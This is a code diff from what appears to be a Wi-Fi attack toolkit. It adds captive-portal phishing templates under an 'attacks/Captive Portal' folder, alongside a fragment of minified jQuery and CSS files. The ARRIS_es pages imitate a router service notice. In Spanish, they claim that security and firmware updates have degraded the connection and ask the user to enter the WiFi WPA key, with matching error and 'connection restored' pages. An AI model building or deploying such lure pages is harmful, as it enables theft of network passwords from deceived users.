0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("
      + ARRIS-SERVICIOS
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_es.portal/background.png b/attacks/Captive Portal/sites/ARRIS_es.portal/background.png new file mode 100644 index 0000000..150b23b Binary files /dev/null and b/attacks/Captive Portal/sites/ARRIS_es.portal/background.png differ diff --git a/attacks/Captive Portal/sites/ARRIS_es.portal/error.html b/attacks/Captive Portal/sites/ARRIS_es.portal/error.html new file mode 100644 index 0000000..d79d510 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_es.portal/error.html @@ -0,0 +1 @@ +
      ERROR: LA CLAVE INGRESADA NO ES CORRECTA!
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_es.portal/final.html b/attacks/Captive Portal/sites/ARRIS_es.portal/final.html new file mode 100644 index 0000000..0f4140d --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_es.portal/final.html @@ -0,0 +1 @@ +
      SU CONEXION SERA RESTABLECIDA.
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_es.portal/house.png b/attacks/Captive Portal/sites/ARRIS_es.portal/house.png new file mode 100644 index 0000000..8931556 Binary files /dev/null and b/attacks/Captive Portal/sites/ARRIS_es.portal/house.png differ diff --git a/attacks/Captive Portal/sites/ARRIS_es.portal/house1.png b/attacks/Captive Portal/sites/ARRIS_es.portal/house1.png new file mode 100644 index 0000000..90103da Binary files /dev/null and b/attacks/Captive Portal/sites/ARRIS_es.portal/house1.png differ diff --git a/attacks/Captive Portal/sites/ARRIS_es.portal/index.html b/attacks/Captive Portal/sites/ARRIS_es.portal/index.html new file mode 100644 index 0000000..6029908 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_es.portal/index.html @@ -0,0 +1,52 @@ + + + + + ARRIS-SERVICIOS + + + +
      +
      +
      +
      +
      +
      +
      + +
      +
      +
      +
      + +
      + +
      +
      + Remaining Session: + +
      +
      +
      +
      +
      +
      + + diff --git a/attacks/Captive Portal/sites/ARRIS_es.portal/info.css b/attacks/Captive Portal/sites/ARRIS_es.portal/info.css new file mode 100644 index 0000000..13fd6cb --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_es.portal/info.css @@ -0,0 +1,72 @@ +html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; } +:focus { outline: 0px none; } +body { line-height: 1; color: black; background: none repeat scroll 0% 0% white; -moz-user-select: none; } +body a { color: rgb(79, 79, 79); text-decoration: none; } +ol, ul { list-style: none outside none; } +table { border-collapse: separate; border-spacing: 0px; } +caption, th, td { text-align: left; font-weight: normal; } +blockquote:before, blockquote:after, q:before, q:after { content: ""; } +blockquote, q { quotes: "" ""; } +body { font-family: Verdana,Geneva,sans-serif; background: url('background.png') repeat-x scroll 0% 0% transparent; margin: 0px; padding: 0px; text-align: center; font-size: 14px; line-height: 14px; color: rgb(81, 85, 89); } +.panel_general { width: 600px; height: 650px; margin: 0px auto; text-align: left; padding: 0px; background: url('background.png') repeat-x scroll 0% 0% transparent; } +.left { float: left; } +.right { float: right; } +.centred { text-align: center; margin: 8px 0px; } +.hand { cursor: pointer; } +.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; } +.panel_header { width: 944px; height: 131px; visibility: hidden; } +.header_content { height: 131px; padding: 38px 40px; } +.header_left { width: 439px; float: left; } +.home_station { width: 239px; height: 29px; display: block; } +.network_map { margin-top: 18px; width: 124px; height: 21px; display: block; } +.movistar { width: 221px; height: 49px; float: right; } +.options_menu { width: 904px; position: absolute; margin-top: -60px; } +.line { background-color: rgb(81, 85, 89); width: 1px; height: 9px; margin: 4px 12px; } +.line_small { background-color: rgb(160, 165, 169); width: 1px; height: 5px; margin: 6px 10px; } +.password_ico { background: url('password_blue_light.gif') no-repeat scroll 0% 0% transparent; width: 20px; height: 10px; padding-right: 8px; margin-top: 3px; } +.password_ico.hover { background: url('password_blue.gif') no-repeat scroll 0% 0% transparent; } +.faq_ico { background: url('faq_blue_light.png') no-repeat scroll 0% 0% transparent; width: 17px; height: 17px; padding-right: 8px; } +.faq_ico.hover { background: url('faq_blue.png') no-repeat scroll 0% 0% transparent; } +.languages a { color: rgb(160, 165, 169); float: right; } +.languages a:hover { color: rgb(112, 145, 167); text-decoration: underline; } +.footer { height: 34px; } + + + +/* ::::: http://192.168.1.1/css/network_map.css ::::: */ + +.house { background-image: url('house.png'); width: 1025px; height: 555px; margin: auto; } + +.house1 { background-image: url('house1.png'); width: 1025px; height: 555px; margin: auto; } + +#wifi { position: absolute; margin: 384px 0px 0px 420px; width: 300px; text-align: center; font-size: 15px; } +.wifi_ico { width: 89px; height: 103px; background-position: 0px 0px; display: block; margin: 20px auto 6px; } +.wifi_ico[color="grey"] { background-position: 0px 0px; } +.wifi_ico[color="green"] { background-position: -89px 0px; } +.wifi_ico[color="blue"] { background-position: -178px 0px; } +.wifi_ico[color="orange"] { background-position: -267px 0px; } +.wifi_ico[color="red"] { background-position: -356px 0px; } +.wifi_ico.hover { background-position: -178px 0px; } +.gateway { display: none; margin: 0px auto; } +.wifi_txt { margin-top: 4px; } +#home_content { width: 380px; } +.scroll { margin: 160px 0px 0px 350px; position: absolute; } + +.home_station { background: none repeat scroll 0% 0% transparent; } +.ui-dialog .ui-dialog-titlebar { background: url('titlebar_m.png') repeat-x scroll 0% 0% transparent; } +.dialog_faq { background: url('faq.png') no-repeat scroll 0% 0% transparent; } +.dialog_faq:hover { background: url('faq_hover.png') no-repeat scroll 0% 0% transparent; } +.ui-dialog .ui-dialog-titlebar-close { background: url('cancel_sprite.png') no-repeat scroll -44px 0px transparent; } +.ui-dialog .ui-dialog-titlebar-close:hover { background-position: -66px 0px; } +.welcomepan_icon { background: url('welcome_pantalla_m.png') no-repeat scroll 0% 0% transparent; } +.welcomepan_icon:hover { background: url('welcome_pantalla_m.png') repeat scroll 270px 0px transparent; } +.welcome_fav_icon { background: url('favoritos_m.png') no-repeat scroll 0% 0% transparent; width: 217px; height: 54px; } +.welcome_fav_icon.hover { background: url('favoritos_m.png') repeat scroll 217px 0px transparent; } +#help_dialog { border: 3px solid rgb(67, 177, 200); } +.usb_icon { background: url('down_usb_m.png') no-repeat scroll 0% 0% transparent; } +.print_icon { background: url('down_print_m.png') no-repeat scroll 0% 0% transparent; } +.wifi_ico { background: url('router_m.png') no-repeat scroll 0% 0% transparent; } +.imgStiker { background-image: url('gateway_sticker_m.png'); } +.imgDefaultStiker { background-image: url('gateway_sticker_m.png'); } +.gateway_reset_ico { width: 100px; height: 113px; background-image: url('reset_m.png'); } + diff --git a/attacks/Captive Portal/sites/ARRIS_es.portal/info.html b/attacks/Captive Portal/sites/ARRIS_es.portal/info.html new file mode 100644 index 0000000..a33af72 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_es.portal/info.html @@ -0,0 +1,92 @@ + + + + + + + + + + + + + + + + + +
        +
      +
      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      +
      +
      +
      Verificacion de + acceso
      +
      +
      +
      +

      Estimado cliente + debido a actualizaciones de seguridad y + fimrware la conexion tiene + deficiencias


      +

      Por razones de + seguridad, ingresa clave wifi

      +
      WPA + Key:
      +
      +
      +
      + + diff --git a/attacks/Captive Portal/sites/ARRIS_es.portal/info2.css b/attacks/Captive Portal/sites/ARRIS_es.portal/info2.css new file mode 100644 index 0000000..c75fe0a --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_es.portal/info2.css @@ -0,0 +1 @@ +html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{margin:0;padding:0;border:0 none;outline:0 none;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline}:focus{outline:0 none}body{line-height:1;color:black;-moz-user-select:none}body a{color:#4f4f4f;text-decoration:none}ol,ul{list-style:none outside none}table{border-collapse:separate;border-spacing:0}caption,th,td{text-align:left;font-weight:normal}blockquote:before,blockquote:after,q:before,q:after{content:""}blockquote,q{quotes:"" ""}body{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;text-align:center;font-size:14px;line-height:14px;color:#515559}.panel_general{width:944px;height:720px;margin:0 auto;text-align:left;padding:0}.left{float:left}.right{float:right}.centred{text-align:center;margin:8px 0}.hand{cursor:pointer}.txt_hover{color:#7091a7!important;text-decoration:underline}.panel_header{width:944px;height:131px;visibility:hidden}.header_content{height:131px;padding:38px 40px}.header_left{width:439px;float:left}.line_grey{background-color:#e5e5e5;width:100%;height:1px;clear:both}input{margin:6px auto;padding-left:7px;height:20px;width:300px;border:1px solid #cfcfcf;font-family:Verdana,Geneva,sans-serif;font-size:13px!important;color:#515559}.buttons_space{margin-left:50px} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/calendar.css b/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/calendar.css new file mode 100644 index 0000000..c87de75 --- /dev/null +++ b/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/calendar.css @@ -0,0 +1,95 @@ +/* calendar icon */ +img.tcalIcon { + cursor: pointer; + margin-left: 1px; + vertical-align: middle; +} +/* calendar container element */ +div#tcal { + position: absolute; + visibility: hidden; + z-index: 100; + width: 158px; + padding: 2px 0 0 0; +} +/* all tables in calendar */ +div#tcal table { + width: 100%; + border: 1px solid silver; + border-collapse: collapse; + background-color: white; +} +/* navigation table */ +div#tcal table.ctrl { + border-bottom: 0; +} +/* navigation buttons */ +div#tcal table.ctrl td { + width: 15px; + height: 20px; +} +/* month year header */ +div#tcal table.ctrl th { + background-color: white; + color: black; + border: 0; +} +/* week days header */ +div#tcal th { + border: 1px solid silver; + border-collapse: collapse; + text-align: center; + padding: 3px 0; + font-family: tahoma, verdana, arial; + font-size: 10px; + background-color: gray; + color: white; +} +/* date cells */ +div#tcal td { + border: 0; + border-collapse: collapse; + text-align: center; + padding: 2px 0; + font-family: tahoma, verdana, arial; + font-size: 11px; + width: 22px; + cursor: pointer; +} +/* date highlight + in case of conflicting settings order here determines the priority from least to most important */ +div#tcal td.othermonth { + color: silver; +} +div#tcal td.weekend { + background-color: #ACD6F5; +} +div#tcal td.today { + border: 1px solid red; +} +div#tcal td.selected { + background-color: #FFB3BE; +} +/* iframe element used to suppress windowed controls in IE5/6 */ +iframe#tcalIF { + position: absolute; + visibility: hidden; + z-index: 98; + border: 0; +} +/* transparent shadow */ +div#tcalShade { + position: absolute; + visibility: hidden; + z-index: 99; +} +div#tcalShade table { + border: 0; + border-collapse: collapse; + width: 100%; +} +div#tcalShade table td { + border: 0; + border-collapse: collapse; + padding: 0; +} diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/common.css b/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/common.css new file mode 100644 index 0000000..2ecc46b --- /dev/null +++ b/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/common.css @@ -0,0 +1,619 @@ +@CHARSET "UTF-8"; + +body { + width: 100%; + height: 100%; + margin: 0px; + padding: 0px; +} + +div { + overflow: hidden; +} + +div.error { + margin-left: auto; + margin-right: auto; + margin-top: auto; + padding: 4px; + z-index: 99; + width: 350px; +} + +div.textbox { + clear: left; + margin: 0 0 0.5em 0; +} + +.textbox label { + float: left; + width: 25%; + padding-top: 3px; + text-align: right; +} + +.textbox input,.textbox select { + width: 60%; + margin-left: 20px; +} + +.text .checkbox input { + margin-left: 22%; + padding: 0; +} + +.text .button { + width: 98%; +} + +.text .button input { + margin-right: 2px; /* Textbox borders */ +} + +ol,ul { + list-style: none; +} + +/* + * Header + */ +div#header { + width: 100%; + height: 60px; +} + +div#header img#logo { + float: left; +} + +div#header span.title { + float: left; + font-size: 30pt; + font-weight: bolder; + color: #C6003D; + margin-left: 20px; + margin-top: 15px; + font-family: "Courier New", helvetica, sans-serif; + text-shadow: 3px 3px 6px pink, 20px -20px 3px white, 8px -10px 7px black; + vertical-align: super; +} + +ul.headerButtons { + margin-top: 0px; + float: right; +} + +ul.headerButtons li { + float: right; display : block; + margin-right: 10px; + display: block; +} + +/* + * Content + */ +div#content { + clear: both; + padding: 0px; + margin-top: 10px; + margin-left: 10px; + margin-right: 10px; + overflow: auto; +} + +/* + * Footer + */ +div#footer { + margin-left: 10px; + margin-right: 10px; + margin-top: 20px; + margin-bottom: 0px; + clear: both; + font-size: 9px; +} + +/* + * link icons + */ +ul.icons li { + float: left; + display: block; + margin-right: 10px; + margin-left: 10px; +} + +a.icon { + display: block; + padding-top: 50px; + width: 120px; + height: 60px; + font-size: 12px; + text-align: center; + background-position: center top; + background-repeat: no-repeat; +} + +/* + * Preview panel and link icons + */ +div.previewPanel { + display: none; + padding: 2px 2px 2px 8px; + min-width: 200px; +} + +div.previewPanel ul.icons { + padding: 0px; +} + +div.previewPanel ul.icons li { + float: left; + display: block; + margin-right: 3px; + margin-left: 0px; + padding: 0px 0px 0px 3px; +} + +div.previewPanel a.icon { + display: block; + padding-top: 5px; + padding-bottom: 0px; + padding-left: 50px; + font-size: 10px; + width: 120px; + text-align: left; + background-position: left top; + background-repeat: no-repeat; +} + +/* + * panels + */ +div.panel { + padding: 3px; +} + +label.panel { + margin-left: 5px; + margin-bottom: 3px; + float: left; +} + +img.panel { + float: right; + margin-right: 3px; + margin-bottom: 3px; +} + +hr.panel { + clear: both; +} + +/* + * tabs + */ +ul.tabs { + display: block; + padding: 0; + margin-top: 0; +} + +div.form ul.tabs { + float: left; + margin-bottom: 10px; +} + +ul.tabs li { + float: left; + display: block; +} + +div.form ul.tabs li { + margin-left: 10px; +} + +a.tab { + display: block; + text-align: center; +} + +div.form a.tab { + padding-top: 6px; + height: 36px; + width: 160px; +} + +div#header ul.tabs { + float: right; + margin-top: 10px; +} + +div#header ul.tabs li { + margin-right: 10px; +} + +div#header a.tab { + padding-top: 2px; + padding-bottom: 2px; + height: 32px; + width: 130px; +} + +/* + * form panels + */ +div.formGraphics { + margin-top: 10px; + margin-left: 5px; + float: left; + min-height: 350px; + padding-top: 10px; + padding-left: 5px; + text-align: center; +} + +div.form { + margin-right: 